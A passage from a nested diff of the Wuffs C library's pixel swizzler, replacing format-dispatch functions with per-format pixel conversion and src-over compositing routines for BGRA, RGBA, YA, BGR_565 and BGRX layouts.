WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__rgba_nonpremul__bgra_nonpremul_4x16le__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__rgba_nonpremul__bgra_nonpremul_4x16le__src_over; -- } -- break; -+ // TODO: unroll. - -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul_4x16le__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul_4x16le__src_over; -- } -- return NULL; -+ while (n >= 1) { -+ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); -+ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (0 * 4), -+ wuffs_private_impl__composite_premul_premul_u32_axxx(d0, s0)); - -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: -- case WUFFS_BASE__PIXEL_FORMAT__RGBX: -- // TODO. -- break; -+ s += 1 * 4; -+ d += 1 * 4; -+ n -= 1; - } -- return NULL; --} - --static wuffs_base__pixel_swizzler__func // --wuffs_base__pixel_swizzler__prepare__bgra_premul( -- wuffs_base__pixel_swizzler* p, -- wuffs_base__pixel_format dst_pixfmt, -- wuffs_base__slice_u8 dst_palette, -- wuffs_base__slice_u8 src_palette, -- wuffs_base__pixel_blend blend) { -- switch (dst_pixfmt.repr) { -- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__bgr_565__bgra_premul__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgr_565__bgra_premul__src_over; -- } -- return NULL; -+ return len; -+} - -- case WUFFS_BASE__PIXEL_FORMAT__BGR: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__bgr__bgra_premul__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgr__bgra_premul__src_over; -- } -- return NULL; -+static uint64_t // -+wuffs_private_impl__swizzle_bgra_premul__index_bgra_nonpremul__src_over( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ if (dst_palette_len != -+ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -+ return 0; -+ } -+ size_t dst_len4 = dst_len / 4; -+ size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_premul__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_premul__src_over; -- } -- return NULL; -+ // TODO: unroll. - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__bgra_premul__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__bgra_premul__src_over; -- } -- return NULL; -+ while (n >= 1) { -+ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); -+ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -+ ((size_t)s[0] * 4)); -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (0 * 4), -+ wuffs_private_impl__composite_premul_nonpremul_u32_axxx(d0, s0)); - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__copy_4_4; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgra_premul__bgra_premul__src_over; -- } -- return NULL; -+ s += 1 * 1; -+ d += 1 * 4; -+ n -= 1; -+ } - -- case WUFFS_BASE__PIXEL_FORMAT__RGB: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__bgr__rgba_premul__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgr__rgba_premul__src_over; -- } -- return NULL; -+ return len; -+} - -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__bgra_nonpremul__rgba_premul__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgra_nonpremul__rgba_premul__src_over; -- } -- return NULL; -+static uint64_t // -+wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul__src( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len4 = dst_len / 4; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) -- if (wuffs_base__cpu_arch__have_x86_sse42()) { -- return wuffs_base__pixel_swizzler__swap_rgbx_bgrx__x86_sse42; -- } --#endif -- return wuffs_base__pixel_swizzler__swap_rgbx_bgrx; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgra_premul__rgba_premul__src_over; -- } -- return NULL; -- } -- return NULL; --} -+ // TODO: unroll. - --static wuffs_base__pixel_swizzler__func // --wuffs_base__pixel_swizzler__prepare__bgrx(wuffs_base__pixel_swizzler* p, -- wuffs_base__pixel_format dst_pixfmt, -- wuffs_base__slice_u8 dst_palette, -- wuffs_base__slice_u8 src_palette, -- wuffs_base__pixel_blend blend) { -- switch (dst_pixfmt.repr) { -- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -- return wuffs_base__pixel_swizzler__bgr_565__bgrx; -+ while (n >= 1) { -+ uint32_t s0 = wuffs_private_impl__swap_u32_argb_abgr( -+ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (0 * 4), -+ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul(s0)); - -- case WUFFS_BASE__PIXEL_FORMAT__BGR: -- return wuffs_base__pixel_swizzler__xxx__xxxx; -+ s += 1 * 4; -+ d += 1 * 4; -+ n -= 1; -+ } - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: -- return wuffs_base__pixel_swizzler__bgrw__bgrx; -+ return len; -+} - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -- return wuffs_base__pixel_swizzler__bgrw_4x16le__bgrx; -+static uint64_t // -+wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul__src_over( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len4 = dst_len / 4; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- case WUFFS_BASE__PIXEL_FORMAT__BGRX: -- return wuffs_base__pixel_swizzler__copy_4_4; -+ // TODO: unroll. - -- case WUFFS_BASE__PIXEL_FORMAT__RGB: -- return wuffs_base__pixel_swizzler__bgr__rgbx; -+ while (n >= 1) { -+ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); -+ uint32_t s0 = wuffs_private_impl__swap_u32_argb_abgr( -+ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (0 * 4), -+ wuffs_private_impl__composite_premul_nonpremul_u32_axxx(d0, s0)); - -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: -- case WUFFS_BASE__PIXEL_FORMAT__RGBX: -- return wuffs_base__pixel_swizzler__bgrw__rgbx; -+ s += 1 * 4; -+ d += 1 * 4; -+ n -= 1; - } -- return NULL; --} - --static wuffs_base__pixel_swizzler__func // --wuffs_base__pixel_swizzler__prepare__rgb(wuffs_base__pixel_swizzler* p, -- wuffs_base__pixel_format dst_pixfmt, -- wuffs_base__slice_u8 dst_palette, -- wuffs_base__slice_u8 src_palette, -- wuffs_base__pixel_blend blend) { -- switch (dst_pixfmt.repr) { -- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -- return wuffs_base__pixel_swizzler__bgr_565__rgb; -- -- case WUFFS_BASE__PIXEL_FORMAT__BGR: -- return wuffs_base__pixel_swizzler__swap_rgb_bgr; -+ return len; -+} - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: -- case WUFFS_BASE__PIXEL_FORMAT__BGRX: --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) -- if (wuffs_base__cpu_arch__have_x86_sse42()) { -- return wuffs_base__pixel_swizzler__bgrw__rgb__x86_sse42; -- } --#endif -- return wuffs_base__pixel_swizzler__bgrw__rgb; -+static uint64_t // -+wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul_4x16le__src( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len4 = dst_len / 4; -+ size_t src_len8 = src_len / 8; -+ size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -- return wuffs_base__pixel_swizzler__bgrw_4x16le__rgb; -+ // TODO: unroll. - -- case WUFFS_BASE__PIXEL_FORMAT__RGB: -- return wuffs_base__pixel_swizzler__copy_3_3; -+ while (n >= 1) { -+ uint64_t s0 = wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)); -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (0 * 4), -+ wuffs_private_impl__swap_u32_argb_abgr( -+ wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul( -+ s0))); - -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: -- case WUFFS_BASE__PIXEL_FORMAT__RGBX: -- return wuffs_base__pixel_swizzler__bgrw__bgr; -+ s += 1 * 8; -+ d += 1 * 4; -+ n -= 1; - } -- return NULL; --} -- --static wuffs_base__pixel_swizzler__func // --wuffs_base__pixel_swizzler__prepare__rgba_nonpremul( -- wuffs_base__pixel_swizzler* p, -- wuffs_base__pixel_format dst_pixfmt, -- wuffs_base__slice_u8 dst_palette, -- wuffs_base__slice_u8 src_palette, -- wuffs_base__pixel_blend blend) { -- switch (dst_pixfmt.repr) { -- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__bgr_565__rgba_nonpremul__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgr_565__rgba_nonpremul__src_over; -- } -- return NULL; - -- case WUFFS_BASE__PIXEL_FORMAT__BGR: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__bgr__rgba_nonpremul__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgr__rgba_nonpremul__src_over; -- } -- return NULL; -+ return len; -+} - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) -- if (wuffs_base__cpu_arch__have_x86_sse42()) { -- return wuffs_base__pixel_swizzler__swap_rgbx_bgrx__x86_sse42; -- } --#endif -- return wuffs_base__pixel_swizzler__swap_rgbx_bgrx; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgra_nonpremul__rgba_nonpremul__src_over; -- } -- return NULL; -+static uint64_t // -+wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul_4x16le__src_over( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len4 = dst_len / 4; -+ size_t src_len8 = src_len / 8; -+ size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__rgba_nonpremul__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__rgba_nonpremul__src_over; -- } -- return NULL; -+ // TODO: unroll. - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src_over; -- } -- return NULL; -+ while (n >= 1) { -+ uint64_t d0 = wuffs_base__color_u32__as__color_u64( -+ wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4))); -+ uint64_t s0 = wuffs_private_impl__swap_u64_argb_abgr( -+ wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8))); -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (0 * 4), -+ wuffs_base__color_u64__as__color_u32( -+ wuffs_private_impl__composite_premul_nonpremul_u64_axxx(d0, s0))); - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: -- case WUFFS_BASE__PIXEL_FORMAT__BGRX: -- // TODO. -- break; -+ s += 1 * 8; -+ d += 1 * 4; -+ n -= 1; -+ } - -- case WUFFS_BASE__PIXEL_FORMAT__RGB: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__bgr__bgra_nonpremul__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgr__bgra_nonpremul__src_over; -- } -- return NULL; -+ return len; -+} - -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__copy_4_4; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_nonpremul__src_over; -- } -- return NULL; -+static uint64_t // -+wuffs_private_impl__swizzle_bgra_premul__rgba_premul__src_over( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len4 = dst_len / 4; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src_over; -- } -- return NULL; -+ while (n >= 1) { -+ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); -+ uint32_t s0 = wuffs_private_impl__swap_u32_argb_abgr( -+ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (0 * 4), -+ wuffs_private_impl__composite_premul_premul_u32_axxx(d0, s0)); - -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: -- case WUFFS_BASE__PIXEL_FORMAT__RGBX: -- // TODO. -- break; -+ s += 1 * 4; -+ d += 1 * 4; -+ n -= 1; - } -- return NULL; -+ -+ return len; - } - --static wuffs_base__pixel_swizzler__func // --wuffs_base__pixel_swizzler__prepare__rgba_premul( -- wuffs_base__pixel_swizzler* p, -- wuffs_base__pixel_format dst_pixfmt, -- wuffs_base__slice_u8 dst_palette, -- wuffs_base__slice_u8 src_palette, -- wuffs_base__pixel_blend blend) { -- switch (dst_pixfmt.repr) { -- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__bgr_565__rgba_premul__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgr_565__rgba_premul__src_over; -- } -- return NULL; -+static uint64_t // -+wuffs_private_impl__swizzle_bgra_premul__ya_nonpremul__src( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len4 = dst_len / 4; -+ size_t src_len2 = src_len / 2; -+ size_t len = (dst_len4 < src_len2) ? dst_len4 : src_len2; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- case WUFFS_BASE__PIXEL_FORMAT__BGR: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__bgr__rgba_premul__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgr__rgba_premul__src_over; -- } -- return NULL; -+ // TODO: unroll. - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__bgra_nonpremul__rgba_premul__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgra_nonpremul__rgba_premul__src_over; -- } -- return NULL; -+ while (n >= 1) { -+ uint32_t s0 = ((uint32_t)(s[1]) << 24) | ((uint32_t)(s[0]) * 0x010101); -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (0 * 4), -+ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul(s0)); - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__rgba_premul__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__rgba_premul__src_over; -- } -- return NULL; -+ s += 1 * 2; -+ d += 1 * 4; -+ n -= 1; -+ } - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) -- if (wuffs_base__cpu_arch__have_x86_sse42()) { -- return wuffs_base__pixel_swizzler__swap_rgbx_bgrx__x86_sse42; -- } --#endif -- return wuffs_base__pixel_swizzler__swap_rgbx_bgrx; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgra_premul__rgba_premul__src_over; -- } -- return NULL; -+ return len; -+} - -- case WUFFS_BASE__PIXEL_FORMAT__RGB: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__bgr__bgra_premul__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgr__bgra_premul__src_over; -- } -- return NULL; -+static uint64_t // -+wuffs_private_impl__swizzle_bgra_premul__ya_nonpremul__src_over( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len4 = dst_len / 4; -+ size_t src_len2 = src_len / 2; -+ size_t len = (dst_len4 < src_len2) ? dst_len4 : src_len2; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_premul__src; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_premul__src_over; -- } -- return NULL; -+ // TODO: unroll. - -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- return wuffs_base__pixel_swizzler__copy_4_4; -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- return wuffs_base__pixel_swizzler__bgra_premul__bgra_premul__src_over; -- } -- return NULL; -+ while (n >= 1) { -+ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); -+ uint32_t s0 = ((uint32_t)(s[1]) << 24) | ((uint32_t)(s[0]) * 0x010101); -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (0 * 4), -+ wuffs_private_impl__composite_premul_nonpremul_u32_axxx(d0, s0)); -+ -+ s += 1 * 2; -+ d += 1 * 4; -+ n -= 1; - } -- return NULL; -+ -+ return len; - } - - // -------- - --WUFFS_BASE__MAYBE_STATIC wuffs_base__status // --wuffs_base__pixel_swizzler__prepare(wuffs_base__pixel_swizzler* p, -- wuffs_base__pixel_format dst_pixfmt, -- wuffs_base__slice_u8 dst_palette, -- wuffs_base__pixel_format src_pixfmt, -- wuffs_base__slice_u8 src_palette, -- wuffs_base__pixel_blend blend) { -- if (!p) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- p->private_impl.func = NULL; -- p->private_impl.transparent_black_func = NULL; -- p->private_impl.dst_pixfmt_bytes_per_pixel = 0; -- p->private_impl.src_pixfmt_bytes_per_pixel = 0; -+static uint64_t // -+wuffs_private_impl__swizzle_bgrw__bgr(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len4 = dst_len / 4; -+ size_t src_len3 = src_len / 3; -+ size_t len = (dst_len4 < src_len3) ? dst_len4 : src_len3; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- wuffs_base__pixel_swizzler__func func = NULL; -- wuffs_base__pixel_swizzler__transparent_black_func transparent_black_func = -- NULL; -+ // TODO: unroll. - -- uint32_t dst_pixfmt_bits_per_pixel = -- wuffs_base__pixel_format__bits_per_pixel(&dst_pixfmt); -- if ((dst_pixfmt_bits_per_pixel == 0) || -- ((dst_pixfmt_bits_per_pixel & 7) != 0)) { -- return wuffs_base__make_status( -- wuffs_base__error__unsupported_pixel_swizzler_option); -- } -+ while (n >= 1) { -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (0 * 4), -+ 0xFF000000 | wuffs_base__peek_u24le__no_bounds_check(s + (0 * 3))); - -- uint32_t src_pixfmt_bits_per_pixel = -- wuffs_base__pixel_format__bits_per_pixel(&src_pixfmt); -- if ((src_pixfmt_bits_per_pixel == 0) || -- ((src_pixfmt_bits_per_pixel & 7) != 0)) { -- return wuffs_base__make_status( -- wuffs_base__error__unsupported_pixel_swizzler_option); -+ s += 1 * 3; -+ d += 1 * 4; -+ n -= 1; - } - -- // TODO: support many more formats. -- -- switch (blend) { -- case WUFFS_BASE__PIXEL_BLEND__SRC: -- transparent_black_func = -- wuffs_base__pixel_swizzler__transparent_black_src; -- break; -+ return len; -+} - -- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -- transparent_black_func = -- wuffs_base__pixel_swizzler__transparent_black_src_over; -- break; -- } -+static uint64_t // -+wuffs_private_impl__swizzle_bgrw__bgr_565(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len4 = dst_len / 4; -+ size_t src_len2 = src_len / 2; -+ size_t len = (dst_len4 < src_len2) ? dst_len4 : src_len2; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- switch (src_pixfmt.repr) { -- case WUFFS_BASE__PIXEL_FORMAT__Y: -- func = wuffs_base__pixel_swizzler__prepare__y(p, dst_pixfmt, dst_palette, -- src_palette, blend); -- break; -+ // TODO: unroll. - -- case WUFFS_BASE__PIXEL_FORMAT__Y_16BE: -- func = wuffs_base__pixel_swizzler__prepare__y_16be( -- p, dst_pixfmt, dst_palette, src_palette, blend); -- break; -+ while (n >= 1) { -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (0 * 4), wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( -+ wuffs_base__peek_u16le__no_bounds_check(s + (0 * 2)))); - -- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: -- func = wuffs_base__pixel_swizzler__prepare__indexed__bgra_nonpremul( -- p, dst_pixfmt, dst_palette, src_palette, blend); -- break; -+ s += 1 * 2; -+ d += 1 * 4; -+ n -= 1; -+ } - -- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: -- func = wuffs_base__pixel_swizzler__prepare__indexed__bgra_binary( -- p, dst_pixfmt, dst_palette, src_palette, blend); -- break; -+ return len; -+} - -- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -- func = wuffs_base__pixel_swizzler__prepare__bgr_565( -- p, dst_pixfmt, dst_palette, src_palette, blend); -- break; -+static uint64_t // -+wuffs_private_impl__swizzle_bgrw__bgrx(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len4 = dst_len / 4; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; -+ uint8_t* d = dst_ptr; -+ const uint8_t* s = src_ptr; -+ size_t n = len; - -- case WUFFS_BASE__PIXEL_FORMAT__BGR: -- func = wuffs_base__pixel_swizzler__prepare__bgr( -- p, dst_pixfmt, dst_palette, src_palette, blend); -- break; -+ // TODO: unroll. - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -- func = wuffs_base__pixel_swizzler__prepare__bgra_nonpremul( -- p, dst_pixfmt, dst_palette, src_palette, blend); -- break; -+ while (n >= 1) { -+ wuffs_base__poke_u32le__no_bounds_check( -+ d + (0 * 4), -+ 0xFF000000 | wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -- func = wuffs_base__pixel_swizzler__prepare__bgra_nonpremul_4x16le( -- p, dst_pixfmt, dst_palette, src_palette, blend); -- break; -+ s += 1 * 4; -+ d += 1 * 4; -+ n -= 1; -+ } - -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -- func = wuffs_base__pixel_swizzler__prepare__bgra_premul( -- p, dst_pixfmt, dst_palette, src_palette, blend); -- break; -+ return len; -+} - -- case WUFFS_BASE__PIXEL_FORMAT__BGRX: -- func = wuffs_base__pixel_swizzler__prepare__bgrx( -- p, dst_pixfmt, dst_palette, src_palette, 